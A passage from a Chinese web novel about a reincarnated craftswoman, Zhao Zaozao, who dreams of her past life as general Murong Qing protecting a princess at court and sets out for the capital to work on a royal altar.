慕容青大步流星往外走,另有小太监也亦步亦趋追着他赶,一路赶到殿外才气喘吁吁把人追上,对着他和薄纱遮面的公主上气不接下气地行礼道:
“驸马留步,陛下吩咐请您和宁平公主午时至麟德殿赴宴。”
“知道了。”打发走小太监,慕容青从怀中掏出一包蜜饯,递给公主道:“先垫垫。”
云枝和云桠眼观鼻鼻观心地抬歩辇走人,很快便有宫女来接应他们先至御花园赏花等候。
此后御花园陆续来人,显然这午膳并非单纯的“家宴”,排场不小。慕容青懒得应酬,带公主猫在假山后面卿卿我我——
在外人眼中是这样,实则二人只是吃果子、赏石头。
时辰到,麟德殿奏响雅乐,众人鱼贯而入,慕容青和公主被安排在宴会次席,首座是德高望重、须发皆白的老丞相,和从龙有功、年轻气盛的晋王,一左一右倒正像旭日与夕阳,有种另类的对称。
身怀六甲的晋王妃与晋王同席,眉目郎朗,看着端庄大气。
凭心而论,御座上的帝王倒也是温文尔雅,一派谦和模样,丝毫不似一念间欲浸没城池的鬼面罗刹。
故而人的皮囊就是天生的伪装,皮下万般本相,谁又知道谁呢。
慕容青讽刺地暗笑,携公主一道入座。酒过三巡,却是老丞相裴懿先执酒盏与他客套,“驸马果然如传闻般一表人才,相貌堂堂。”
“丞相过奖。”慕容青回礼。
对方扶着胡须继续道:“如今战事初定,百业萧条,国库空虚,正亟需兴邦济世之才。若驸马能留在王都,自是最好,亦不必再久居山高水远之地。”
“丞相说笑了,微臣一介武夫,不堪大任。”
慕容青施施然将银箸搁在瓷碟边沿,“何况自太祖委以重任起,距今已两百余年,慕容氏早就在山高水远之地处得习惯。”
裴懿沉吟道:“老夫见驸马与公主伉俪情深,难道就不为公主着想?”
宁平公主对此一语不发,她大半张脸都隐于轻纱之下,不明喜怒,但半分眼色也没有投给裴懿。
这般视若无睹,看起来似乎谨小慎微,但又何尝不是一种态度。慕容青了然轻笑,“丞相何出此言,微臣夫妇的去留但凭上意安排,又岂敢妄言。”
他指尖轻叩案几,吊儿郎当敲出窣窣声响,“不过国库一事,慕容氏尚有薄产,能筹措一二。如今民生凋敝,我辈诸臣自当为国尽忠才是。”
裴懿抚掌称道,“驸马少年英才,高风亮节,老夫敬佩。”说完敬慕容青一杯,一老一少也是做足了戏码。
不多时,裴懿便又起身向皇帝启奏:“陛下,老臣近日翻阅宗卷,见史书上曾有‘兄弟共嗣’之议,可解国本空缺之危,堪称良策。”
“哦,竟有此事?”
皇帝闻言看向席间孕肚隆起的晋王妃,嗓音听不出喜怒:“朕膝下空虚,此子为晋王嫡长……若是个皇子,倒确实可以过继承嗣。”
慕容青拈起一颗花生米抛进嘴巴。敢情他自视甚高了,这鸿门宴的主角另有其人,开局拿他当个配菜而已,甚好甚妙。
从他的角度正好能看见晋王眼底闪过一丝阴霾,却踟躇未言语。
晋王妃一脸红润血色顷刻褪尽,握杯的指节用力到泛青。她欲起身行礼,罗裙衣袖却扫翻了桌边盛着羹汤的琉璃碗。
顿时有宫女上前收拾替换,这当口有个文官谄媚插话道:“如此倒真是晋王府之喜,也是我大梁之喜,恭贺陛下!”
好熟悉的声音,慕容青打眼一看:哦,钦使大人。
“恕臣失礼。”
完全没想到公主会插手此事,所以她忽然开口时慕容青大吃一惊,倏地转过脸怕自己听错。
她不便起身,所以先抬手施礼告罪,才接着道:“晋王一脉自显德年间分府别籍,如今已是五服之外的旁支,大宗百世不迁,以其血脉承嗣,有违礼法。”
“公主所言不错。”裴懿一招以退为进道,“但事急从权,国本一事事关重大,不若如此,难道公主另有良策?”
公主不着痕迹地看了慕容青一眼。
慕容青当然接收到了她的眼神,但事出突然,毫无准备之下,他未必就能替晋王挡下一劫,只能说尽力试试——
然而还不及他开口,公主已语惊四座道:
“自然是过继本宫的孩子。”
“……”慕容青好险才绷住脸,神色未动,原来刚才的眼神是让他提前做好心理准备。
也算是公主体贴过了,没让他绿得太仓皇。
兴许是没想到烫手山芋还有人来抢,还是从不显山露水没什么存在感的宁平公主,裴懿狐疑道:“公主殿下何来子嗣?”
皇帝也扶着龙椅微微欠身,“朕倒不知还有此等喜事。”
“回禀陛下,公主身孕未满百日,依臣家乡习俗,不便宣扬。”
慕容青此时若还不知该如何做,也是白混了,“好在公主凤体安康,子嗣亦无恙。”
那钦使插话道:“就算如此,公主终究是女子……”
“太宗皇帝亦非太祖亲生,乃菀陶长公主之子,赐祝姓。此事在我朝早已有先例,钦使还是该多读些书才是。”慕容青嗤笑道,“以免丢人现眼。”
“你!”那人气结,“立储大事,当名正言顺……”
慕容青再次打断这蠢人:“今上特命我夫妻二人主持奉安大典,诵《告祖祭文》,公主宗庙都祭得,还不够名正言顺?”
“若当真如此,奉安大典岂非由晋王主持才是。”他说着看向晋王,总不能让这人老神在在,一门心思尽捡便宜。
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晋王妃似乎想说什么,喉间颤音未出,已被晋王截断,他顺着慕容青话头起身道:“自是公主更为合适。”
此番事态,饶是裴懿这样的老狐狸也无话可说,俨然鱼和熊掌不可兼得。
慕容青要的便是这般结果,他掸了掸衣袍上并不存在的灰尘,看向那高高在上之人。
而龙椅上的皇帝也在看他,又看看晋王,半晌意味深长地笑道:“便就依公主所言。待奉安大典完成之后,再召公主回宫,好生休养安胎。”
散席后,自有御医等着替公主把脉。以她武功深浅,假作个脉相还轮不到慕容青帮忙,也就百无聊赖地垂手看天,唉声叹气。
公主抿着唇不说话,低眉顺眼很乖巧的样子,慕容青叹得更大声了,无他,就是逗人好玩。
马车上公主难得的不自在起来,几次欲言又止,坐立不安,偏偏慕容青就是不主动问她话,纯叹气,快到府邸时还摆出一副缄口不言的丧气脸,跳下马车也不接人,拔腿便走。
耳后听到公主在急急忙忙吩咐她两个侍女:“抬快点。”
慕容青憋笑憋得肚子疼,若非这里人多眼杂,“李公子”即刻现身也是不无可能的。他三两步跑回厢房,往小榻上一靠,假寐起来。
公主与他前后脚进门,两个侍女把手在门外。
就这么点功夫,傻子都知道他不可能真的睡着,但公主还真就踟蹰着不敢叫醒他,提着身子踱步,一点声音都没发出来。慕容青虚着眼睛偷看,被她发现。
“你可有话想问我?”公主巴巴地瞧过来,再逗下去就过分了,慕容青好整以暇地站起来说:“为什么帮晋王妃?她与你有交情吗?”
从始至终公主就没正眼瞧过晋王,最后倒是睇一眼晋王妃,让她稍安勿躁,慕容青全都看在眼里。
公主点头,“她父亲肖将军救过我。多年前……”
看她声调不太干脆,隐隐有犯难的意思,慕容青主动摆手道,“那便够了。知恩图报,应当的事。”谁都有不能说的秘密,他亦如是。
“我连累你了。”公主眉头紧蹙。她这句话不是疑问,而是陈述,慕容青看她一副要为此事负责的苦大仇深模样,忍不住一指点上她眉心:
“他本来就要对付慕容家,与你何干?我连累你还差不多。原本我这点缓兵之计也拖延不了多久,我还不想出钱呢。这下子债多了不愁,虱子多了不痒,挺好。”
公主不满他偷袭,连连后退,慕容青收手假装无事发生。“不过孩子的事情你打算怎么办?”苍天明鉴,小葱拌豆腐都没有他跟公主清白。
“我生不出孩子。”公主说。
“废话,”慕容青咂舌,“你能生我岂不是真绿了。”
公主迟疑道:“我们不是真的夫妻。”
这下子慕容青真不想理她了,没事说这个干嘛,扫兴。
“但如果你愿意的话……”公主低头嗫嚅着,又破釜沉舟般抬眼与他对视:“我们可以结伴远走江湖。”
26. 天坛
哪个肖将军?
昭早早醒来之后一直在回想梦中的场景,她所知道的肖将军就只有几条街外的那一个,但她自幼在甄城长大,从未听说过老将军有过一个女儿,还是王妃——
怎么可能半点消息也无,难道她十几年不回乡省亲?
她洗漱更衣后就去找叔母玉迟雪打听,八卦还是得问叔母,叔父不一定靠不住。
“你是说她难产死了?”昭早早失声惊道,公主豁出命去保护的母子,最后竟然还是命丧黄泉,这下子她今晚不想睡觉了。
“不是因难产而死,而是因难产亏了身子,从此缠绵病榻四五年,肖老将军寻了不少灵丹妙药,流水一样送往王都,但还是没留下人。”玉迟雪奇怪道,“你一大早问这些干嘛?”
昭早早依稀记起时政,晋王现今是有妻有子的,想必妻是续弦,那孩子……她追问道:“那孩子呢?”
玉迟雪摇摇头,“听说先天不足,体弱多病,幼时便夭折。”
“……”见她垂头丧气就往外走,玉迟雪奇怪道:“你一大早打听这些干嘛?不吃早膳吗?”
“不吃了。”昭早早摆摆手,她眼下一点胃口都没有,不如去家里的工坊练练手,权当散心。
虽然前日夸下海口说要做珍珠鸟,实际上那些种类繁杂的榫卯插接片和昭早早互相不认识,主打一个大眼对小眼,无从下手。
对着图纸也看不明白,昭早早只得找叔父虚心请教,从头学起。
昭明大为感动,险些老泪纵横,只叹昭家总算后继有人,不用再求着那一心向舅的顽劣子继承家业,也能对得起列祖列宗。
当下他掏心掏肺地教,直感慨大侄女和将军府的婚事退了也好,如今招个赘婿进门,才是要紧事。
这般专心致志学了数日,昭明还真忙里偷闲,像模像样地写了一张布告单,趁教学间隙亟不可待地拿出来问昭早早:
“你看如何?行的话我就找里正先张出去。来日方长,合适的人选咱们可以慢慢挑。”
“嗯,我看看。”昭早早接过告示单,扫了一眼便折起来别腰上,俨然一副没收的架势。
“别想了叔父,家业我上辈子继承够了。这辈子死都要做个闲人。”
“呸呸呸,童言无忌!”昭明吹胡子瞪眼地急道,“你乱说些不吉利的干什么?”
“行行行。”昭早早从善如流地换了个方向围魏救赵:
“别瞎操心了叔父,昭睿虽说日日嚷着要考学,要进工部,但就他那个课业水平,我赌五十两银子他考不上进士。回头你还是可以找他子承父业。”
“跟你弟弟也说点吉利的行不行,”昭明叹气道,“家业的事以后再说。但你的终身大事总归要准备,如今你年龄也不小了,既不嫁人,又不招赘……”
“别念了叔父,炉子好像要炸了。”昭早早瞪眼道。
昭明没好气地摇头,“每次跟说这些你就尽胡扯……”
“不是,”昭早早伸手一指他身后,“炉子真的冒黑烟了,不太对劲。”
她这一说昭明也觉得呛,回头一看,大惊失色,“不好!快熄火!”
说时迟那时快,等伙计去关闭炉门根本来不及,窑炉轰然炸裂,昭早早眼疾手快挡下了不少飞砖,但昭明还是被其中一块砸到了腿。
*
“所幸裂口还算整齐。”
还是那位熟悉的李老神医,替昭明右腿上完药后,拿出几根打磨光滑的木夹板,用麻布条仔细缠卷,“膏药三天换一次,忌劳累,忌走动。”
“嘶——”昭明额角都是冷汗,颤声道:“可我三日后还约了几位媒人……”
李老神医合上药箱铜扣,眼角堆起层层笑纹,“还是改日吧。养骨如修瓷,若是动歪了,再难复原。”
昭早早不合时宜地暗松口气,自觉端住了表情,不想还是被玉迟雪尽收眼底,凉凉道:“放心吧夫君,媒人我替你接洽。”
“多谢夫人!”昭明感激涕零,趁他二人你侬我侬,昭早早脚底抹油,顺带送神医出府。
“请问李神医,肖府的肖平公子近来恢复得如何?”几日没见了,她赶紧也趁机问问。
“不碍事。”老大夫本不欲透露,看她亦步亦趋跟得诚心,才颔首抚须又多说了半句,“那金乌玉片确有效果。”
“多谢神医。”昭早早额外多添了诊金硬塞到药童手里,眉开眼笑地送人。
*
三日后,她日以继夜地赶工完成珍珠鸟,加之记得该是有媒人上门,便提前起了个大早,准备溜去肖府。
她自家院墙当然是想翻就翻,不过她住的西厢离正门很近,翻出来正好看到一队冠带整齐的人马朝昭府去了——怎的,难不成来的是官媒啊?
想必她还没那么大脸面,昭早早收起心思,前后脚也跟了进去。据管事说,来的自称是尚书省的吏使,要见家主,其他并未多说。
“人呢?”昭早早问。朝廷派人上门,怎么看都不像好事。
“请去正厅了,”管事道,“老爷夫人即刻就到。”
“腿都那样了还怎么见客。”
昭早早嘀咕着往正厅赶,没想到她到时昭明已经在了,绑着夹板勉强坐于主位,来访的官吏长使正说道:
“……明日我等便会遣车马来接人。此乃尚书省加印的征召令,请昭家主过目。”
他身后一名抱檀木匣的小吏拿出一卷黄绫文书递过去,昭明刚接到手里,昭早早也大喇喇凑过去看,她一目十行,扫得比昭明翻她的白眼更快,这边她叔父正欲出口赶人,那边来使不悦地问:
“这位是何人?”
“我便是你们要找的昭家家主。”她忽地换了个身位,看似只是一把抢过昭明手里的文书,实则还连点了他几处穴道。
她出手如电,转过身来便已收手,是以座下众人都没看见,但玉迟雪却是看得清清楚楚,惊呼道:“早早!”
“怎么了叔母?难道我不是吗?”昭早早回头反问她,两人眼神一对,玉迟雪迟疑着摇了摇头,手里的帕巾攥得死紧。
“吏使大人请看,这是我叔父日前写的布告,白纸黑字指定我昭早早继承昭家。为了让我名正言顺,还特地招赘。”
昭早早颠倒因果地拿出那张榜单,天知道她今天带着这个,本来是想去逗肖平开心的。
吏使半信半疑:“昭家主分明有子嗣,又怎会让侄女继承家业?”
“大人既然打听过,便知我那弟弟志不在此,”昭早早这倒没说谎,“他勤学苦读,可是一心要入仕的。”
“我叔父欲即刻请里正公示,不想当日便伤了腿。”
昭早早浮夸地大声叹息道,“也怪他年纪大了,这几年时不时犯昏睡症,这才不小心受伤。”
来人正要向昭明求证,果然见人已经靠在椅子上昏睡过去。玉迟雪赶紧唤侍从将昭明抬回房中,“小心些,仔细老爷的腿!”
“这…
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…”几人面面相觑,昭早早趁热打铁道,“诸位大人也看见了,我叔父腿骨受损,少不得需将养百日才能康复。”
“就算坐车马去了王都,他也行走不便,脑子还糊涂,为皇家修筑祭祀天坛这等大事,又如何能办好?届时捅了篓子,还牵累诸位大人。不如我去,定不辱使命。”
为首的吏使分明已动摇,只还拿着架子不肯彻底松口,“可昭姑娘毕竟是女儿身……”
“大人,男女固有分,其见无分,玄羽国师不亦是国之桢干吗。”
昭早早笑眯眯绵里藏针道,“依本朝律例,除士林清贵之地,女子行商典田掌工,俱依常例。若诸位信不过我的能力,亦可考校一二。”
她这般说,那些人反而放心,加之关键的或是玉迟雪命管事准备好的银两到了,如此客套一番,又收下好处之后,事情才总算敲定,送走了这帮瘟神。
“早早,我知道你定有奇遇。你们学院的教头,你叔父特地叫人查过,资质平平,不知你这一身本领从何而来。”玉迟雪长叹道:
“你自小就有主意,你不愿说,我也不问。可眼下我不知是否做错了……修建皇家祭坛不是小事,稍有不慎,就会万劫不复。”
“此行艰凶险,若不是你叔父有伤在身,我绝不会让你代他。等他醒了,肯定也是要怪我的。”
“难为你了叔母。”昭早早拍拍她的肩膀,混不吝地开玩笑,“你是了解我的,祸害遗千年,我去保准比叔父更安全。”
“这次朝廷广招工匠,去的远不止我们一家,正因为我年纪轻资历浅,还是他们看不上的女流,必然不会委派我什么重任,我混在队伍里铁定就是个凑数的。”
她又道:“眼下传召的虽然是尚书省,真干起活来还不得移交给工部。到时玉大人肯定会照拂我,叔母若担心,现在便替我写一封书信,届时我也好转呈。”
“你说得对。”玉迟雪忙不迭叫侍女准备纸笔,又谴人去书院接昭睿回家,“也不知兄长为何没有提前来信,这般令人措手不及,唉!”
昭早早心知肚明,工部没有事前收到消息,可见这件事并非由工部牵头,那么多半不会是既定的流程,而是帝王临时起意。
这当口着急忙慌要大摆祭坛,莫非跟丑陵闹出的幺蛾子有关。那归根结底这篓子有她一份,轮到她收拾也不算冤。
何况,她本就有意去王都探一探国师虚实,此番也算瞌睡遇上枕头。
情急之下昭早早穴位点得有些重了,昭明武功微末,又受伤体亏,直至昭睿下午回府仍没有半点转醒的迹象。
昭早早心道也好,便让叔父好好睡个一天一夜,省得儿女情长一番拉扯,她不擅于此,怪难为情的。
她不打算带侍从,只把行李收拾妥当,对昭睿嘱咐道:“我不在家的日子你照顾好叔父叔母。”
“我会的,姐。”听母亲大致解释了始末的昭睿很是过意不去,“你这趟替我去……”
“等等,我可不是替你。”昭早早抬手打断他,啧啧摇头,“谁说女子不能掌家,叔父可确实是要将家主之位传给我的。你好好读书吧,不然以后真得跟我混了。”
“我会的。”昭睿满腹的伤感都淡了,疑惑道:“可是你这么晚了要去哪?”
“去跟朋友道别。”昭早早做了个噤声的手势,示意他别张扬,“你早点回去休息吧,明早我会直接去驿馆,记得帮我隐瞒一二。”
昭睿无奈,“知道了。”
27. 珍珠鸟
树影婆娑的肖府院墙外,昭早早整了整衣襟,正儿八经地敲门通报——这次怎么着也不能再翻墙了。
院中小厮将她引过一段青石板路,指了指前方道:“昭姑娘请,我家公子正在庭院里散步。”
暮色于肖平肩头洇开温柔的暗影,昭早早轻轻颔首,却没有即刻上前,而是隔着一段距离兴致勃勃地喊:“肖平,看这个!”
藏在她袖中的珍珠鸟被冷不防捻动机括掷出去,振翅声惊得肖平蓦然抬头,并指一夹便拦住了骤然间从枝杈射向鸟翼的暗箭——
不然这鸟刚起飞就要报废,光彩润泽的绢纱带起清风,撩动了肖平颊边的发丝。
忘记树上的二愣子了,昭早早汗颜,伸手接回转向的机关鸟。
她瞥一眼幢幢树影,啥也看不清,不得不说二愣子还挺尽责,是她有些欠考虑……差点被人当成刺客。
肖平今世的身份是肖老将军旧部的遗孤,能被肖府收养就算不错,怎的待遇还这般上心?果然是金子到哪里都招人喜爱。
两人心照不宣地均当无事发生。
“这就是我上次说要送你的珍珠鸟。”昭早早把机关鸟塞到肖平手里,“只要力度得当,它就会绕一圈飞回来。”
她拇指顶开鸟腹暗扣,木鸟“咔嗒”展开双翅,“你看,再捻几下这里的小柄。”
她凑近了指给肖平,闻到对方身上一股清淡雅致的药香。
“你伤怎么样了?”她问。
“已愈。”肖平不甚在意地回答,他把玩过泡桐骨架,又似对鸟翼更为好奇,“好精巧。”他指尖摩挲着薄如蝉翼的绢纱,指腹便也沾染上一点萤白的粉末。
明明还上着药呢就说已愈,怕是不知道自己鼻子灵着呢。昭早早也不好当场戳穿他,说我闻到你身上味了,那不跟狗似的吗?
左右肖平这样说也该是快好了,昭早早便揭过这茬,主动向他解释道:
“鸟翼窄小,用丝绢太过厚重,用绢纱则薄而透风,都飞不顺畅。只有像这样筛上一层有粘性的特殊珍珠粉,既挡风又不增加重量,才将将好能飞起来。你试试?”
肖平点头,依言将珍珠鸟轻巧地掷出,又伸出手稳稳地接住。
半空中划过一个又一个漂亮的白色圆弧,昭早早笑盈盈看着,没有问他喜不喜欢,毕竟她又不瞎。
那双时常笼着薄雾的眸子泛起光亮的涟漪,像月下清溪,她都想捧一泓饮。
临行前能看到这样的美景,刀山火海也去得,王都又算什么东西。
“明日我要出一趟远门,不能再来看你了,你保重。”她笑着说。
“去哪?”肖平问。
“去办点事。”昭早早不想细说,只立身执礼道:“青山一道同云雨,后会有期。”
“多谢。”肖平将珍珠鸟收在袖中,同样郑重地执礼道:“珍重。”
暮色渐浓,石板路上的脚步声渐渐远去。昭早早前脚走,暗哨四和后脚现身,单膝跪地道:“属下失察。”
肖平摇头,“无妨。”
四和便继续道:“从驿馆处得到消息,此人将代昭明参与天坛一事。可用阻止?”
“不必。”肖平背手道,“她不会影响大局。”
归鸦掠过一重重屋檐,穿过热闹的街市,向郊外飞去。
再过一刻,沿街的小贩便要收摊了,昭早早蹭上一波甩卖价,各类果子、炒货、小点心买了大半篮,直往方府奔去。
方家从管事到门童没有不认得她的,倒不是昭早早来得多频繁,而是方知画喜丹青之道,素日拿她练手,挂得满府都是她的画像,不知道内情的怕要以为此人才是方府正经大小姐。
“你怎么来了?还带这么多我爱吃的零嘴?”方知画倚在她只有两层的摘星楼栏杆上呼喝,“快上来!”
昭早早瞥了两眼门柱上的挂画,又剐她一眼,这才三步并作两步蹬上去,骂道:“要死啊你,把我当门神用?”
“怎么样,我画得好吧?”方知画接过她东西放桌上,让侍女退下,得意道:“我上次看你刀舞得好嘛,虎虎生风,出神入化,比我原来挂的那俩武将神威武多了。”
“那我不也还没死吗?”昭早早白她道,“魑魅魍魉我可管不了。”
“没事,”方知画无所谓地扒拉零嘴袋子看先吃哪个,“死不死的氛围够了就行了。”
“啊?”昭早早眼角直抽,这位可真是她异父异母的亲姐妹。
“别管那些,这么晚找我干嘛来了?”方知画高兴万分地挑出两本压篮子底的鬼面画册,满怀期待地看向她,“莫非真的是……”
“挑灯夜读。”昭早早一口满足她的期望,“说好迟早要陪你通宵达旦地看一晚上,择日不如撞日,就今天吧。”
方知画乐得惊叫,“你是仙女下凡吗?”
“谁家仙女给你看大门。”昭早早好笑道,“是我要出一趟远门,说不好什么时候回,就趁这之前来找你了。”
“啊?”方知画兴致一下子大减,语气也低落下来,“你要去哪啊?”
“王都。”
昭早早简明扼要地挑重点说了,方知画听得长吁短叹,“你叔父的腿也是伤得太不是时候。”
“正是时候才对。”昭早早笑道,“我早就想去王都见见世面,看看十丈软红,有什么迷人之处。”
“我怎么觉得你自从退婚之后,性子和从前不大一样了?”方知画抚掌琢磨道,“难道断情绝爱真能使人成长?难怪书里被始乱终弃的女鬼都那么强。”
昭早早感慨道,“等我走了之后,你多读点正经书也好。”
“唉!”提起这个方知画就又伤感起来,“事出突然,我临时也拿不出什么像样的饯别礼,就把这个香囊送你,是我爹好不容易弄来的。”
昭早早不肯接她递过来的小布袋,“如此贵重之物就不用了。”
“你我之间还推托什么。”
“不是,”昭早早玩笑道,“你这香囊一点不香啊。
方知画佯怒道,“要真是普通香囊,送你干嘛?”
“礼轻情意重?”昭早早眨眨眼,拗不过只得接下,“逗你玩的。我会收好,这东西怎么使?快跟我讲讲。”
她触手一模就知道香囊另有玄机,果然方知画指着顶部的束口道:“这里面有药粉,名唤神仙醉。”
昭早早还真听说过这种迷香,扩散极快,非常霸道,不论武功高低,一视同仁地放倒半炷香。
“难怪你什么热闹都敢凑,原来是有防身的宝贝在身上。要不你还是自己留着吧?不然再有热闹怎么办?”
“你不在哪还有热闹看,”方知画连连摆手,“前阵子连朱小姐也去王都进献了,学院里风平浪静得狗都不打架。”
“行吧。”看在临别在即的份上昭早早就不骂方知画那张乱说话的嘴了,催促道:“赶紧看画本吧,再废话天都亮了。”
“对对对
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!”方知画连忙提着两盏灯拉她上塌,又从枕头底下摸出几本自己的典藏,难掩兴奋道,“大晚上干这个好刺激啊!”
“咱们先看哪本?”
两人一通挑挑拣拣,昭早早虽然买的都是市面上的新书,但论新奇还得是方知画又不知从哪淘换来的硬货。
“就看这本吧,《万异海》。”
这一看就是一宿,屋里果壳碎屑一片狼藉。
公鸡打鸣时方知画靠在床头睡得昏昏沉沉,昭早早给她折了一只纸鹤放在床头,权当是告别,这才轻手轻脚地打着哈欠推门出去。
这个时辰沿街的早点铺面刚刚出摊儿,她守在飘香包子铺门口等第一屉肉包子蒸熟,前面跟她一样赶早的还有个熟人。
“歇工了?”昭早早并不知道这位肖府暗哨姓甚名谁,干脆就隐去称呼不叫,随口招呼。
那少年假装没听见。
真是好的不学学坏的,昭早早本也懒得再搭理他,可他竟然拿出个布兜要买二十二个。
还好大清早人还不多,数量管够,昭早早好奇地问道,“肖府厨子不管早吗你买这么多?”
她怼着问,对方这下没法视而不见,只好不咸不淡地答道:“这家包子好吃。”
怎么跟她一样有品位,昭早早道:“等等,我再买几个你跟肖平也带去尝尝。”
少年一副“还用你多事”的不屑表情,“我本来就跟公子带了俩。”
“……”敢情这二十二个他是零头,你一人吃整数?
昭早早看他提着一兜肉包子摇摇摆摆离去的样子,脑子里突然灵光一闪——原来她不是曾见过他,而是他长得很像一个人!
不止是模样有六七分相似,关键是那种神态、气质,还有惊人的食量,昭早早忙问他是不是姓祁?少年莫名其妙,最后还是说了句“我叫四和”便走了。
姓四啊,那就不是祁道长失散多年的小兄弟了。
昭早早好笑,接过自个儿的包子,跟老板闲话道:“店家,之前有个爱跟您这儿买包子的瘦高道长,最近还有见过吗?”
“没呢,听说祁道长继续云游去了。”她一说店家就知道是谁,看来确是常客,“高人嘛,都四海为家。”
昭早早道了声谢,暗自好笑高人是干完一票就跑路了。
彼时在丑陵,她明面上说叫所有人卸去金银财宝,但实际上谁没贴身藏两件才怪。
连她自己怀里都揣了几个小的。
之所以没有一开始就这么说,是因为她深知他们这样凑起来的队伍人心必是散的,她说不许藏,则众人藏一两件,她若说藏一两件,那铁定有人塞满兜,还怎么跑路。
只要这假道士不贪心,省着点挥霍,加上闵家的报酬,下半辈子衣食无忧也该足够。
这么一想,多半是没机会再见,昭早早也不甚在意,坐下吃完包子便溜溜达达向驿馆走去。
也不知尚书省那帮人的马车够不够宽敞舒适,每次见过肖平,她都能在梦中回忆起前尘往事,但愿这次别给她半途颠簸醒了才好。
所幸她一夜未眠,正困得眼皮子打架,只要不翻车,问题都不大。
这应该是短期之内,她最后一次梦见公主的机会了。一想到上次公主愿与她‘私奔’的提议,她就恨不能倒转光阴,重改命数——
如果前世慕容青能放下一切,与公主远走高飞,他们今时今日便该还活着,于山林田野间看日升日落,云卷云舒。
28. 出发 “我现在还不能跟你走。”
“我现在还不能跟你走。”
慕容青拒绝了公主的提议,但拒绝得又不彻底,像所有负心薄幸的故事里一样说:“……能不能等我三年?”
话讲完慕容青都想给自己一巴掌,公主垂眸未语,想必也很失望。
想当初放下一切游走江湖的建议还是他向公主提的,虽说彼时并未约定要与她把臂同游——然时至今日,他不该、也深深不愿拒绝她,却又不得不这么做。
他隐瞒了太多至关重要之事,就算将来被公主一刀捅死都不冤,又怎可能稀里糊涂带她走。
但不走日后确实难办,慕容青越盘算越心烦意乱,一路打马送灵都丧着个脸,任哪位跟随的礼部老臣来看也挑不出错。
连沿途百姓也纷纷交口称赞:慕容将军实乃贤婿典范。
概因他不止对老丈人“礼重有加”,还将“腿脚不便的孕妻”照顾得十分妥帖周到。
无论是下榻驿馆还是安营扎寨,公主的衣食安寝皆由他亲力亲为,随行大夫亦近不得身,若遇路途颠簸难行,更是亲手将人抱上抱下,真可谓之掌上明珠。
“适、可、而、止。”公主掀开面纱,一张脸青红交错——都是气的,咬牙切齿地用口型对慕容青讲道。随行队伍人多眼杂,若非忍无可忍,她也不会如此。
慕容青假作眼瘸,双臂依然在车座旁举得高高:“此地泥泞,公主当心。”
公主冷冷瞪着他,终是不愿再吃这哑巴亏,抿了抿唇道:“多谢驸马,但我身躯笨重,恐劳你受累。”
“公主轻得很,谈何受累。”慕容清随口敷衍,故意又展了展手臂,“若公主体恤,待会搂紧点我便是。”
他原意是这样更省力,谁知公主脸上一红,闹得他也跟着不好意思起来。
两相僵持,公主无可奈何地扶住他手,借力起身后便绷着劲直挺如一块木板,死活不肯埋头到他肩膀。
这些天惯常如此,慕容青抱木板已抱得习惯,不过他尚有一问,趁此刻贴得极近,便耳语道:“公主可有系束带?”
对方不解,“什么?”
“就是那种缚于胸前,方便行动的布帛。”
“……”
见她不答,慕容青顿时了然:“那你真是太平了,得多吃一点,别亏了身子。”说完只觉身上的木板绷得更紧,别看她胸前并无二两肉,骨架子倒还挺沉。
旁人但凡眼珠子还在的,此刻都自发低头避退,非礼勿视。
“你怎么知道这些?”公主忽然问。
“闲书上看的。”慕容青搪塞道,“还生我气吗?”
“我没生气。”
“你说慌。”
“没有。”
他二人本就刻意放低声音,此时公主几乎是用气声说道,“我只是没想好应对之策。”
慕容青当然知道她在顾虑什么,这些天他也打定了主意,便道:“放心。到时我就说你动了胎气,不可长途跋涉。无论如何,我绝不会把你交出去。”
“捱到时日差不多,做场临盆的假戏,再寻个无父无母的女婴代替便是。宫中不要,我们正好认了做义女。”
最不济从此拥兵自重,左右虎符在他手中,什么祖宗家法,百年后到地府再分说吧。他在心里补上这一句,没有说出口。
公主迟疑道:“他不会善罢甘休。”
“十二陵天高皇帝远,他未必能在我的地盘上讨到便宜。”慕容青不自在地微微偏头,公主一说话,温热的吐息就在他脖子上撩拨,感觉怪痒的。
他径直把人抱进刚扎好的营帐内稍事休息。
雨后天寒,伙头兵吊着几口大铁锅在煮姜汤,慕容青出去跟公主盛了一碗,又添上些红枣饴糖,再才端回账里。
他事必躬亲,一来真心所愿,二来也是怕有细作在路上动手脚。
毕竟公主目前情况特殊,多加防范总是对的,等到了亥陵,有姑父接应,便不必再如此紧张。
公主不喜姜味,汤刚一进账便不明显地耸了耸鼻子。慕容青把对方的小动作尽收眼底,暗自好笑,故意大声唤道:“公主快尝尝,甜的。”
“只要你乖乖喝完,等奉安大典结束,我告诉你一个秘密。”他轻声道。
马车骤停,昭早早后脑勺‘咚’一声撞上车厢板,又被反弹着向前滚去。
这下不醒也得醒了,真是怕什么来什么,再让她多睡片刻,不就知道上辈子的自己到底要坦白哪件事了吗?
揉着发疼的后脑,昭早早怅然若失。
天地可鉴,她在梦中仅能体察到十分强烈的心绪,慕容青感触不深的,她压根就不知道,这下又被卖了个大关子。
虽然本就是过眼云烟,但这如同话本看了一半没下文的感觉着实不好。
“怎么回事?”昭早早掀开车帘原本是一脸的火气,奈何探头一看——
她叔父叔母一大家子人都来了,正在跟那帮吏使客套,看来是特地到城门口送行。
她跳下车,那些人识相地收了好处让开,留给他们足够叙话的空间。
“你……”昭明情绪激动,支撑着要从素舆里站起来,昭早早干脆先发制人把他按回去,堵住话头道:
“事已至此叔父,劝告的话就别说了,我心里有数。倒是您,这腿不当心会瘸的,干嘛非跑这一趟?”
昭明一脸五味杂陈,没好气道:“这么大事,你不来跟我们见一面就走了,谁能放心?”
昭早早连声称是,昭明示意昭睿把抱着的檀木匣子拿过来,甫一打开宝光乍现,昭早早啪一声给他把匣子也按回去——
“叔父,这套传家宝给我犯不上,规、矩、准、绳我都带了,就平常用的顺手那些,完全足够,还不一定能派上用场呢。”
“我跟叔母说了,我是去浑水摸鱼的,不是去光耀门楣的,主要就是凑个数交差,替其他大匠师们打打下手。”
“那怎么行呢?”昭明闻言狠狠皱眉,“我
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昭家什么时候沦落跟别人打下手?要不然你就纯混,游手好闲啥也不干,等工期一过就走。”
“嗯,”昭早早道,“也可以。”
“那还是多带点银钱,好打点关系。”昭明换了个小布袋子给她,昭早早接过来一看满是银票,感动道:“叔父,这么多年私房钱存不少啊。”
“哪能呢,是你叔母还给我添了点。”昭明说这话时唉声叹气,玉迟雪剐他一眼,嘱咐昭早早道:“进京后别忘了先找你舅父。”
“是。”昭早早一口答应,对着昭睿笑,她那弟弟眨眨眼,上前说:“姐,万事小心。”
她点点头,劝众人早些回去,就此作别。昭明最后还是不放心道:“王都不比甄城,切记藏锋守拙,莫生事端。”
